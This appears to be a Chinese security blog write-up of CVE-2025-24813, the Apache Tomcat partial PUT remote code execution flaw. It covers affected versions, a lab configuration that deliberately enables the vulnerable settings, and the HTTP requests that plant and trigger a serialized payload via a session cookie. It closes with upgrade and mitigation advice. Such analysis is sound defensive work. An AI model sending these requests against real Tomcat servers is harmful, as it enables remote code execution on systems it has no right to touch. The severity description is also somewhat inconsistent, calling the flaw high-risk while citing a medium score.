
CVE-2025-24813:Apache Tomcat Partial PUT远程代码执行漏洞
2025-03-25 发布34 浏览 · 1 点赞 · 0 收藏
0x00 简介
Apache Tomcat 是一个开源的、轻量级的 Java Servlet 容器和 Web 服务器,由Apache软件基金会开发和维护,支持运行 Java Servlet、JavaServer Pages (JSP) 和其他基于 Java 的 Web 应用程序,广泛用于开发和部署企业级 Web 应用。
0x01 漏洞概述
CVE-2025-24813 是一个高危逻辑漏洞,影响 Apache Tomcat。该漏洞的 CVSS 评分为 5.5,属于中危漏洞(可利用性较差)。
漏洞的根本原因是:Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可通过构造恶意序列化对象绕过安全限制,处理 partial PUT 请求时,攻击者利用临时文件路径处理中的缺陷(将路径分隔符"/"替换为“.”),通过特定条件(如启用默认 servlet 的写入功能)实现远程代码执行并控制服务器。
影响版本
- 9.0.0.M1 <= Apache Tomcat <= 9.0.98
- 10.1.0-M1 <= Apache Tomcat <= 10.1.34
- 11.0.0-M1 <= Apache Tomcat <= 11.0.2
漏洞详情
- 漏洞类型:逻辑漏洞
- 利用条件:
- 满足以下条件,攻击者可以访问或修改安全敏感文件:
- DefaultServlet 启用了写入权限(默认禁用)。
- 服务器启用了 partial PUT(默认启用)。
- 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件)
- 攻击者已知目标敏感文件的路径以及文件名。
- 敏感文件是通过 partial PUT 上传的。
- 满足以下条件,攻击者可以远程代码执行(RCE):
- DefaultServlet 启用了写入权限(默认禁用)。
- 服务器启用了partial PUT(默认启用)。
- Tomcat 使用了基于文件的 Session 持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。
- 应用程序包含 可利用的反序列化漏洞库(如 Commons-Collections 3.x)。
- 满足以下条件,攻击者可以访问或修改安全敏感文件:
- 危害描述:
- 访问或修改敏感文件:通过获取安全配置文件,获取凭据或密钥。通过修改关键配置文件,影响服务器运行状态。
- 远程代码执行(RCE):结合 Tomcat 基于文件的 Session 持久化机制,利用反序列化漏洞执行恶意代码。
0x02 环境搭建
在配置环境前提醒一下很重要的一点!!! 安装 JAVA 一定要选择 JAVA 8,这是我试验的这么多版本中成功率最高的一个版本,成功率几乎为 100%!!!!- 在 JAVA 中国 下载JAVA,并配置环境变量。
- 在 Apache Tomcat 下载对应漏洞版本的 Tomcat,并配置用户变量。
- 打开 Tomcat 文件夹,在
conf/web.xml
中添加如下配置,开启 File 文件会话存储。
<Context>
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
</Context>
- 在
conf/web.xml
中,将 DefaultServlet 的 readonly 配置为 False,启用写入功能。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
- 下载 Commons Collections 3.2.1.jar,然后进来到 Tomcat 根目录,进入
webapps\ROOT\WEB-INF
,在此路径下新建lib
文件夹,将 CC 放入。 - 启动 Tomcat,并访问 8080 端口,查看是否启动成功。
0x03 漏洞利用
- 使用 yakit 抓包。
- 使用 yakit 中的 yso-java hack 生成一个 base64 的序列化利用链(当然,使用 Java Chains 或者 ysoserial.jar 也是可以的)。
- 由于构造链是 base64 编码文件,如果直接存入并读取是无效的,所以只能发一个二进制文件。于是,在这里添加一个 base64 解码标签,并使用 POC 发送包。
PUT /poc/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{base64decode(反序列化文件内容)}}
- 在 HTTP 协议中,`Content-Range` 字段用于表示客户端通过分段传输的方式上传或下载文件。例如 `Content-Range: bytes 0-1000/1200` 表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。
- 发送成功后,在 Tomcat 根目录的
work/Catalina/localhost/ROOT
目录下会生成一个.poc.session
文件。- 使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录
work\Catalina\localhost\ROOT
。
- 使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录
- 然后发送触发 POC 的包即可。
GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.poc
- 成功弹出计算器!
0x04 修复建议
- 官方修复
Apache 官方已发布安全通告并发布了修复版本,请尽快下载安全版本修复漏洞。
Upgrade to Apache Tomcat 11.0.3 or later
Upgrade to Apache Tomcat 10.1.35 or later
Upgrade to Apache Tomcat 9.0.99 or late - 临时缓解措施
- 禁用 DefaultServlet 写入功能:在
web.xml
中确保readonly=true
。 - 禁用文件会话持久化:移除
context.xml
中的 PersistentManager 配置。 - 移除漏洞库:删除或更新类路径下存在漏洞的库(如commons-collections-3.2.1.jar)。
- 禁用 DefaultServlet 写入功能:在
请前往 登录/注册 即可发表您的看法…